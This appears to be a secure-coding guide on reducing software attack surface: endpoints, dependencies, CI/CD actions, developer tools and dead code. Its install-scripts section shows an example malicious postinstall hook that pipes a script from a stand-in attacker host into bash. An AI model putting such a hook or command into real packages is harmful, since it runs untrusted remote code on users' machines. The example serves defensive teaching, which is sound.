“Every line of code is an attack surface — whether you wrote it or not.”
Software ASR is the architecture, the code, the build tooling, and the developer workflows that decide what the system is made of. Bloated frameworks, extra microservices, and privileged dev tools usually make that surface the largest and least controlled.
The point is not writing less code for its own sake. Own every dependency, feature, endpoint, and tool in the pipeline, or do not keep it.
1. Minimize Features, APIs, and Endpoints
Every API endpoint, feature flag, and admin interface is a way in. Expose more and you have more to secure, test, and keep alive.
Only Expose Interfaces You’re Committed to Maintain
The problem: Teams ship features, then forget them. Unused endpoints pile up like debt, except this debt is reachable.
Discovery process:
# Find API endpoints with zero traffic
# (Requires access logs analysis)
# Example with nginx logs
cat access.log | awk '{print $7}' | sort | uniq -c | sort -rn | tail -100
# Or with application metrics
# Check your APM tool (Datadog, New Relic) for endpoints with:
# - Zero requests in 90 days
# - High error rates (broken, unmaintained)
# - No test coverage
Decision framework:
For each API endpoint, ask:
1. **Is it documented?** If not, who uses it?
2. **Is it tested?** If not, does it even work?
3. **When was it last called?** If >90 days, candidate for removal
4. **What data does it expose?** Is that necessary?
5. **Who can call it?** Public, authenticated, admin only?
6. **What's the business value?** Can't articulate = candidate for removal
Avoid Debug/Experimental Endpoints in Production
Anti-pattern: Debug endpoints left in the production build.
Common examples:
/debug/vars- Exposes internal metrics/admin- Without authentication/__debug__/- Django debug toolbar/api/v2-beta/- Experimental API still accessible/health?debug=true- Verbose health checks revealing internal state
Prevention: Build-time feature flags
// Go example: Compile-time flag to remove debug code
// +build !production
package debug
func ExposeInternalMetrics() {
// This entire function is not compiled in production builds
}
// Build commands:
// Development: go build
// Production: go build -tags production
# Python example: Environment-based endpoint disabling
from flask import Flask, jsonify
import os
app = Flask(__name__)
@app.route('/debug/state')
def debug_state():
if os.getenv('ENVIRONMENT') == 'production':
return jsonify({"error": "Not found"}), 404
# Only works in dev/staging
return jsonify(internal_state)
Use Feature Flags Responsibly
The problem: Feature flags accumulate, then become permanent. The dead flag is still code; nobody is sure which branch is live.
Best practices:
// Document expiry date in flag definition
const featureFlags = {
newCheckoutFlow: {
enabled: true,
createdDate: '2024-01-15',
expiryDate: '2024-03-15', // Must be removed by this date
owner: 'checkout-team',
jira: 'PROJ-1234'
}
}
// Automated cleanup check
function checkExpiredFlags() {
const now = new Date();
Object.entries(featureFlags).forEach(([name, config]) => {
if (new Date(config.expiryDate) < now) {
throw new Error(`Feature flag '${name}' expired on ${config.expiryDate} - remove it!`);
}
});
}
Flag cleanup process:
# Monthly audit: Find old feature flags
grep -r "feature_flag\|featureFlag" src/ | \
grep -E "20(20|21|22)" | \ # Find flags from old years
sort | uniq
# Each should be either:
# 1. Removed (flag and code)
# 2. Made permanent (remove flag, keep code)
# 3. Justified (documented reason for keeping)
Real-World Impact
Case studies: Capital One’s over-broad credentials turned an SSRF flaw into 106 million records
The Equifax breach exploited an unpatched Apache Struts vulnerability in a web application. Multiple endpoints were vulnerable, many of which were legacy code no longer actively maintained.
Reachability is a much smaller set than existence, and it can now be mapped.
Case studies: Linux restricted AF_ALG by default instead of patching it again · Anthropic found 493 reachability issues and OpenSSH gated 4,500 lines of pre-auth code
Further reading:
2. Internal Reuse Over External Dependence
Most of software development is now dependency management. The average web application pulls in hundreds of them. You have audited almost none.
Prefer Internal Libraries You Can Control
The trade-off: An external dependency is fast to add; you do not control updates, patches, or the maintainer. Internal code costs more up front; you own the security posture and you can read it.
When to write your own:
- Simple utilities (date formatting, string manipulation)
- Core business logic that differentiates your product
- Security-critical code (authentication, authorization)
- High-risk operations (payment processing, encryption)
When to use external:
- Complex, well-established standards (TLS, OAuth, JWT parsing)
- Mature, widely-audited libraries (cryptography libraries)
- Infrastructure code (database drivers, network protocols)
Example decision:
# DON'T DO THIS - tiny dependency for simple task
import leftpad # 11 lines of code as an npm package
def format_user_name(name):
return leftpad(name, 20)
# DO THIS - write the 2 lines yourself
def format_user_name(name):
return name.ljust(20)
Minimize Dependencies With Low Stars, Single Maintainers, Long Chains
Red flags when evaluating dependencies:
| Risk Factor | Why It Matters | How to Check |
|---|---|---|
| Low stars/downloads | Small user base = less scrutiny | GitHub stars, npm downloads/week |
| Single maintainer | Bus factor of 1, burnout risk | Check GitHub contributors |
| No recent commits | Abandonware, no security patches | Last commit date |
| Long dependency chain | Transitive risk multiplies | npm ls, pip show --verbose |
| Numerous dependencies | More attack surface | Check package.json / requirements.txt |
Audit your dependencies:
# npm: Check for suspicious packages
npm audit
# Find packages with single maintainer
npm view <package> maintainers
# Check dependency tree depth
npm ls --depth=5
# Python: Check dependencies
pip list --outdated
pipdeptree # Visualize dependency tree
# Ruby
bundle audit check --update
# Go
go list -m all
Supply chain attack examples:
event-stream incident (2018): Popular npm package (2M downloads/week). Maintainer handed over to a malicious actor, who injected code targeting cryptocurrency wallets. Thousands of projects were affected.
colors.js and faker.js (2022): Maintainer intentionally sabotaged own packages with an infinite loop that printed gibberish and broke thousands of projects worldwide.
ua-parser-js (2021): Compromised npm package. Malicious code mined cryptocurrency and installed malware on Linux and Windows.
Don’t Use Full Frameworks for Single Tasks
Anti-pattern: A heavyweight framework for a handful of endpoints.
// BAD: Pulling in 50MB of dependencies for 3 endpoints
const express = require('express');
const bodyParser = require('body-parser');
const helmet = require('helmet');
const morgan = require('morgan');
const compression = require('compression');
const cors = require('cors');
// ... 20 more middleware packages
const app = express();
// Just to handle 3 API endpoints
// BETTER: Use standard library
const http = require('http');
const server = http.createServer((req, res) => {
if (req.method === 'GET' && req.url === '/health') {
res.writeHead(200, {'Content-Type': 'application/json'});
res.end(JSON.stringify({status: 'ok'}));
}
// Handle your 3 endpoints
});
server.listen(8080);
// Zero dependencies, clear code, minimal attack surface
Framework size comparison:
# Check actual installed size
du -sh node_modules/
# Example results:
express + middleware: 45MB, 312 packages
fastify: 12MB, 52 packages
standard library: 0MB, 0 packages
Decision matrix:
| Scenario | Recommendation |
|---|---|
| 100+ endpoints, complex routing | Full framework acceptable |
| 5-10 simple endpoints | Lightweight framework or standard library |
| 1-3 endpoints, simple logic | Standard library only |
| CLI tool | Standard library only |
| Static site generator | Minimal, focused tool (Hugo, 11ty) not (Gatsby, Next.js) |
Real-World Impact
Case studies: SolarWinds distributed a compromised update to 18,000 customers
Research by Sonatype shows one in eight open source downloads contains a known security vulnerability.
Case studies: Twilio Segment replaced 140 services with one service and one repository · Datadog cut its Linux Agent binaries by up to 77% without removing a feature
Further reading:
3. Shrink Your Build and Toolchain
The build pipeline and the development environment are part of the attack surface. Compromise of a build system can inject malicious code into the product.
CI/CD Shouldn’t Pull 30 Plugins for a Static Site
The problem: CI/CD files accumulate actions, plugins, and integrations. Nothing ever comes out.
Bad example (over-engineered):
# .github/workflows/deploy.yml - BLOATED
name: Deploy
on: [push]
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- uses: actions/setup-node@v3
- uses: actions/cache@v3
- uses: some-random-action/do-thing@v1
- uses: another-action/slack-notify@master # Untrusted
- uses: third-action/discord-webhook@v2
- uses: security-scanner/scan@v1
- uses: uploader/codecov@v2
- uses: performance/lighthouse@v3
- uses: seo/checker@v1
# ... 20 more actions
- run: npm run build
- uses: deployment/action@v1
Good example (minimal):
# .github/workflows/deploy.yml - MINIMAL
name: Deploy
on: [push]
permissions:
contents: read
id-token: write # For OIDC
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
# Build
- uses: actions/setup-node@v4
with:
node-version: '20'
- run: npm ci
- run: npm run build
# Deploy with OIDC (no secrets)
- uses: aws-actions/configure-aws-credentials@v4
with:
role-to-assume: arn:aws:iam::123456789012:role/GitHubActions
aws-region: us-east-1
- run: aws s3 sync ./dist s3://my-bucket/
Reduce Developer Environment Complexity
The problem: Developer machines accumulate tools, CLIs, and helpers that run with full privileges.
Audit your machine:
# macOS: Check what's installed
brew list | wc -l
# Do you know what all these do?
# Check what's running
ps aux | grep -v "^USER" | wc -l
# Should be <100, not >500
# Check what's listening on ports
lsof -iTCP -sTCP:LISTEN -n -P
# Recognize all of these?
# Linux: Check installed packages
dpkg -l | wc -l # Debian/Ubuntu
rpm -qa | wc -l # RedHat/CentOS
# Check systemd services
systemctl list-units --type=service --state=running
Cleanup strategy:
# Remove unused tools
# macOS
brew list | xargs brew uninstall
# Then reinstall ONLY what you actually use
brew install git node python3
# Linux
apt list --installed | grep dev
# Review and remove
Use containers for isolation:
# Instead of installing every tool globally
# Use containers for project-specific tools
# Before:
npm install -g webpack webpack-cli babel eslint prettier
pip3 install ansible terraform-compliance
gem install jekyll bundler
# (Now have 50+ global packages)
# After:
docker run --rm -v "$PWD:/app" node:20 npm run build
docker run --rm -v "$PWD:/app" python:3.11 python script.py
# (Clean host system, isolated dependencies)
Avoid Tools That Require Elevated Access
Red flags:
- Tools that ask for
sudoduring install - Kernel modules or drivers
- Tools that want to run as services
- Browser extensions with “read and modify all data” permission
Examples of risky tools:
| Tool | Risk | Alternative |
|---|---|---|
| Docker Desktop | Requires privileged access | Podman (rootless) |
| Global npm packages | Can execute arbitrary code on install | npx (on-demand execution) |
| System-wide Python packages | Conflict with system Python | venv or pyenv |
| IDE with excessive permissions | Can access all files | Sandboxed editors |
Better practices:
# Instead of global npm installs
npm install -g something # NO
# Use npx for one-time execution
npx something # YES
# Or install locally
npm install --save-dev something
npx something # Runs local version
# Python: Always use virtual environments
python3 -m venv venv
source venv/bin/activate
pip install package # Isolated
# Don't:
sudo pip3 install package # Modifies system Python
CI/CD Plugin Security
Verify sources before use:
# GitHub Actions: Only use verified actions
- uses: actions/checkout@v4 # Verified creator
- uses: aws-actions/configure-aws-credentials@v4 # Official AWS
# Avoid:
- uses: random-user/unverified-action@master # Untrusted
- uses: totally-not-malware/helper@v1 # No verification
# Pin to specific commits (not tags, which can be moved)
- uses: actions/checkout@8e5e7e5ab8b370d6c329ec480221332ada57f0ab # v4.1.1
GitLab CI security:
# BAD: Running random Docker images
deploy:
image: randomuser/deploy-tool:latest
script:
- ./deploy.sh
# GOOD: Use official images, pin versions
deploy:
image: alpine:3.19.0 # Official, pinned
script:
- apk add --no-cache curl
- ./deploy.sh
Real-World Impact
Case studies: Codecov’s modified uploader lifted the secrets out of customer build pipelines
Removing a component is cheaper than securing it, and occasionally the team doing it publishes the invoice.
Case studies: authentik removed Redis as a required dependency in its 2025.10 release
Further reading:
4. Limit Codebase Blast Radius
Code layout decides how far a bug travels. A monolith with no internal boundaries means a compromise in one place is a compromise everywhere.
Avoid Global Shared Modules
The problem: Shared utility modules become dumping grounds. Everything couples to them, so a bug in one function reaches every caller.
Anti-pattern:
# utils.py - 5000 lines of everything
def format_date(date): ...
def send_email(to, subject, body): ...
def encrypt_password(password): ...
def charge_credit_card(card, amount): ...
def execute_sql(query): ...
def admin_override_check(user): ...
# Every module imports this
Problem: A bug in any of those functions hits every module that imports utils.
Better approach: Focused modules with clear boundaries
# date_utils.py
def format_date(date): ...
# email_service.py
def send_email(to, subject, body): ...
# auth_module.py
def encrypt_password(password): ...
def verify_password(password, hash): ...
# payment_module.py
def charge_credit_card(card, amount): ...
# Each module imports only what it needs
Segment by Trust Boundaries
Principle: Organize code by security requirements, not just features.
Example architecture:
src/
├── public/ # Unauthenticated endpoints
│ ├── login.js
│ ├── register.js
│ └── health.js
│
├── authenticated/ # Requires valid user session
│ ├── profile.js
│ ├── dashboard.js
│ └── settings.js
│
├── admin/ # Requires admin role
│ ├── user_management.js
│ ├── system_config.js
│ └── audit_logs.js
│
└── internal/ # Server-side only, never exposed
├── payment_processing.js
├── encryption.js
└── database_access.js
Enforce boundaries:
// In public/ code, this should fail linting:
import { processPayment } from '../internal/payment_processing'; // ❌ FORBIDDEN
// Use API boundaries instead:
fetch('/api/internal/process-payment', { // ✅ Goes through auth layer
method: 'POST',
headers: { 'Authorization': token },
body: JSON.stringify(paymentData)
});
Linting rules:
// .eslintrc.js
module.exports = {
rules: {
'no-restricted-imports': ['error', {
patterns: [{
group: ['../internal/*', '../../internal/*'],
message: 'Cannot import internal modules from public code'
}]
}]
}
};
Kill Dead Code
The problem: Old features, retired APIs, and unused functions stay in the tree “just in case.”
Finding dead code:
# JavaScript: Use webpack bundle analyzer
npx webpack-bundle-analyzer stats.json
# Python: Use vulture
pip install vulture
vulture .
# Go: Use deadcode
go install golang.org/x/tools/cmd/deadcode@latest
deadcode ./...
# Find files not modified in 2+ years
find src/ -type f -mtime +730 -ls
# Ask: Is this still used?
Coverage-based approach:
# Run tests with coverage
npm test -- --coverage
pytest --cov=src --cov-report=html
# Files with 0% coverage are candidates for removal
# (If they're not tested, they're probably not used)
Progressive deletion:
// Step 1: Deprecate (add warning)
/**
* @deprecated Use newFunction() instead. Will be removed in v3.0
*/
function oldFunction() {
console.warn('oldFunction is deprecated');
return newFunction();
}
// Step 2: Monitor for usage
// (Check logs for deprecation warnings)
// Step 3: Remove after grace period
// git rm old_module.js
Real-World Impact
The Apache Struts vulnerability (CVE-2017-5638) that led to the Equifax breach existed in a file upload feature. Many organizations using Struts never called that feature. The code was still there, so they were still vulnerable.
The same argument holds one level up, for services you deploy rather than code you ship.
Case studies: Codat took roughly 400 deployable units down to around 160
Further reading:
5. Hardening Through Simplicity
Complex code is hard to review, test, and secure. Simplicity is a security property, not an aesthetic.
Simpler Code Is Easier to Review and Secure
Complex code example:
# Hard to review - what does this actually do?
def process(data):
return [x for sublist in [[y for y in filter(lambda z: z%2==0,
map(lambda a: a**2, range(item)))] for item in data]
for x in sublist if x > 10]
Simple equivalent:
# Easy to review - clear logic
def process(data):
results = []
for item in data:
for number in range(item):
squared = number ** 2
if squared % 2 == 0 and squared > 10:
results.append(squared)
return results
Reviewers finish simple code. One-liners hide bugs.
Prefer Boring Tools
The “boring technology” principle: Prefer tools that have been around long enough to be understood.
Boring (good):
- PostgreSQL (since 1996)
- Nginx (since 2004)
- Redis (since 2009)
- Flask/Express (simple, focused)
Exciting (risky):
- New database that “solves everything”
- Framework on version 0.3.1
- “Revolutionary” build tool with 3 contributors
- Trendy architecture pattern from last week’s HackerNews
Trade-off analysis:
| Criteria | Boring Tech | Shiny New Tech |
|---|---|---|
| Security track record | Decades of patches | Unknown vulnerabilities |
| Documentation | Extensive | Sparse, outdated |
| Community | Large, experienced | Small, learning |
| Hiring | Easy to find experts | Training required |
| Long-term support | Guaranteed | Might be abandoned |
Avoid DSLs or Custom Runtimes
The problem: A domain-specific language or a custom runtime adds a second language to audit, and hides what actually runs.
Example: Custom templating language
// Custom DSL - hard to audit
{{user.name | uppercase | truncate:20}}
{{if user.isAdmin}}
{{include "admin-panel" with user}}
{{/if}}
// What does this actually execute?
// Can it escape the sandbox?
// Can user.isAdmin be manipulated?
Better: Use standard languages with explicit code
// Standard JavaScript - clear and auditable
const displayName = user.name.toUpperCase().substring(0, 20);
if (user.isAdmin === true) { // Explicit boolean check
renderAdminPanel(user);
}
When DSLs are acceptable:
- Well-established standards (SQL, HTML/CSS, Regex)
- Security-focused (Content Security Policy syntax)
- Widely audited (Jinja2, ERB templates)
When to avoid:
- Custom-built for one project
- Turing-complete templating
- Allows arbitrary code execution
- No security audit history
Real-World Impact
The Ruby on Rails mass assignment vulnerability was worse because of “magic” framework behavior. Reviewers could not tell which parameters were accepted.
Case studies: Chromium requires steering council and security approval to add a third-party library · Mozilla deleted the FTP client from Firefox instead of securing it
Further reading:
6. Third-Party Code and Tooling Integration (Deep Dive)
Open Source Dependency Discipline
The current state: The average web application has 700+ dependencies, counting transitive ones. You have audited maybe 5.
Audit process:
# Generate full dependency tree
npm ls --all > dependencies.txt
pip list --format=freeze > dependencies.txt
# Check for known vulnerabilities
npm audit
pip-audit
cargo audit # Rust
bundle audit # Ruby
# Check license compliance (legal risk)
npx license-checker --summary
# Generate Software Bill of Materials (SBOM)
syft dir:. -o spdx-json > sbom.json
Dependency review checklist:
| Check | Command/Tool | Action |
|---|---|---|
| Known CVEs | npm audit, snyk test | Update or remove |
| Last update | npm outdated | Flag packages abandoned >2 years |
| Number of maintainers | npm view <pkg> maintainers | Avoid single-maintainer critical deps |
| GitHub stars/forks | Manual check | Low stars + critical = risky |
| Download count | npmjs.com, pypi.org | Very low = less vetted |
| License compatibility | license-checker | Avoid GPL in proprietary code |
Automated dependency management:
# Dependabot config (.github/dependabot.yml)
version: 2
updates:
- package-ecosystem: "npm"
directory: "/"
schedule:
interval: "weekly"
open-pull-requests-limit: 5
# Auto-merge patch updates only
automerged_updates:
- match:
dependency_type: "all"
update_type: "semver:patch"
CI/CD Plugin & Marketplace Risk
The problem: The GitHub Actions marketplace has 10,000+ actions. GitLab, Jenkins, CircleCI have similar plugin ecosystems. Most are unaudited.
Vetting process for CI/CD actions:
## Before Using Any CI/CD Action
1. **Check the source**
- Is it from a verified creator? (GitHub verified badge)
- Is it officially maintained? (actions/* for GitHub)
- What's the source repository?
2. **Review the code**
- Clone the repo: `git clone <action-repo>`
- Read the actual code (action.yml, main.js)
- What permissions does it request?
- What commands does it run?
3. **Check activity**
- Last commit date (>1 year = potentially abandoned)
- Open issues (security issues unresolved?)
- Download/usage stats
4. **Pin to commit SHA**
- NOT: `uses: user/action@v1` (tag can be moved)
- YES: `uses: user/action@1234abcd` (immutable)
Example vulnerability scan:
# Audit your workflow files
# Check for unpinned, unverified actions
name: Audit Workflows
on: [push]
jobs:
audit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Check for unpinned actions
run: |
# Find actions not pinned to SHA
grep -r "uses:" .github/workflows/ | \
grep -v "@[0-9a-f]\{40\}" | \
grep -v "@v[0-9]" || true
# Flag for review
Build Tools and Install Scripts
The problem: npm install, pip install, and the rest run arbitrary code on install through post-install hooks.
Example malicious package:
// package.json
{
"name": "totally-safe-package",
"scripts": {
"postinstall": "curl https://evil.com/steal.sh | bash"
}
}
When someone runs npm install, that hook runs. No extra step.
Defense strategies:
# npm: Ignore scripts during install
npm install --ignore-scripts
# Then selectively run scripts for trusted packages
npm rebuild <trusted-package>
# Python: Use --no-binary to avoid precompiled wheels
pip install --no-binary :all: <package>
# Or use restricted installation
pip install --require-hashes -r requirements.txt
Lockfile integrity:
# Always commit lockfiles
git add package-lock.json # npm
git add yarn.lock # yarn
git add Pipfile.lock # Python
git add Cargo.lock # Rust
# Verify lockfile hasn't been tampered with
npm ci # Installs from lockfile only, fails if mismatch
Signed binaries preference:
# Instead of curl | bash:
curl -sL https://tool.com/install.sh | bash # ❌ NO
# Download, verify signature, then execute:
curl -sLO https://tool.com/binary
curl -sLO https://tool.com/binary.sig
gpg --verify binary.sig binary # ✅ Verify
chmod +x binary
./binary
Browser Extensions & IDE Plugins
Developer tool risks:
Browser extensions can:
- Read all page content (including credentials)
- Modify page content (inject malicious code)
- Intercept network requests
- Access cookies and local storage
- Monitor clipboard
IDE plugins can:
- Read all code in your workspace
- Execute arbitrary commands
- Modify files
- Send data to external servers
- Install additional components
Mitigation strategies:
## Browser Extension Policy
1. **Separate profiles**
- Personal: Any extensions
- Work: Only approved, audited extensions
2. **Minimal extensions**
- Only install what you actually use daily
- Review permissions before installing
- Audit installed extensions quarterly
3. **Avoid risky patterns**
- Extension asks for "all sites" permission
- Extension from unknown developer
- Extension with low reviews
- Extension that updates very frequently (why?)
## IDE Plugin Policy
1. **Vet before install**
- Check download count
- Read reviews
- Review source if available
- Check what permissions it requests
2. **Prefer official**
- Use official language plugins
- Avoid "helper" plugins for simple tasks
- Question plugins that "make everything easier"
3. **Audit installed**
- VS Code: Check `~/.vscode/extensions`
- IntelliJ: Check installed plugins list
- Remove unused plugins
Example audit:
# List VS Code extensions
code --list-extensions
# For each extension, check:
# 1. When did you install it?
# 2. Have you used it in the last month?
# 3. What permissions does it have?
# Uninstall unused
code --uninstall-extension <extension-id>
Real-World Incidents
npm package compromises:
- event-stream (2018): Malicious code injected to steal Bitcoin wallet keys
- ua-parser-js (2021): Compromised to install cryptocurrency miners
- colors.js (2022): Maintainer intentionally sabotaged with infinite loop
Browser extension attacks:
- Chrome extension malware (2020): 111 extensions caught stealing data
- Browser Security Inspector (2021): Posed as security tool, stole credentials
IDE plugin risks:
- VS Code extension attack (2021): Malicious extensions uploaded mimicking popular ones
- IntelliJ plugin vulnerability (2022): Remote code execution in plugin framework
Case studies: Chromium requires steering council and security approval to add a third-party library
You do not need a review board to copy the useful part: require the person adding a dependency to write down what it will cost to keep.
Further reading:
- npm Security Advisories
- Sonatype Software Supply Chain Report
- OWASP Dependency-Check
- Chrome Extension Security
7. Guidelines for Software ASR
| Code & Build Issue | ASR Practice | Implementation |
|---|---|---|
| Over-featured APIs | Disable or remove unused endpoints | Traffic analysis; feature flag cleanup; endpoint audit |
| Framework bloat | Strip unused modules, reduce dependencies | Minimal base images; tree shaking; dependency audit |
| CI plugin sprawl | Pin versions, remove unused, self-host when possible | Commit SHA pinning; quarterly review; minimize actions |
| Complex dev tools | Use fewer, vetted, non-root-requiring tools | Container-based tools; avoid global installs |
| Shared code risks | Split monoliths by trust zone, not just function | Enforce module boundaries; linting rules |
| Dead code | Archive or delete it. Don’t ship it. | Coverage analysis; vulture/deadcode; aggressive pruning |
| Supply chain risk | Audit dependencies, use SBOMs, pin versions | npm audit; Dependabot; lockfile commits |
8. Final Thought
“You’re not shipping a product. You’re shipping every tool, library, and helper that touched it.”
Software ASR is not coding less. It is shipping only what you are willing to own, maintain, and defend.
The Software ASR mindset:
- Before adding a dependency: Can I write this in 50 lines instead?
- Before adding a feature: Do users actually want this, or is it speculative?
- Before adding an API endpoint: Can existing endpoints handle this use case?
- Before keeping code: Has anyone used this in 6 months?
Start tomorrow:
- Run
npm auditor equivalent — fix or remove vulnerable dependencies - Find your oldest feature flag — remove it or make it permanent
- List your CI/CD plugins — remove anything you can’t justify
- Count your API endpoints — target removing 20%
Remove a dependency and you close a supply chain path. Remove an endpoint and you close a way in. Remove a tool from the environment and you close a privilege-escalation path.
Less code, less complexity, less attack surface. That is Software ASR.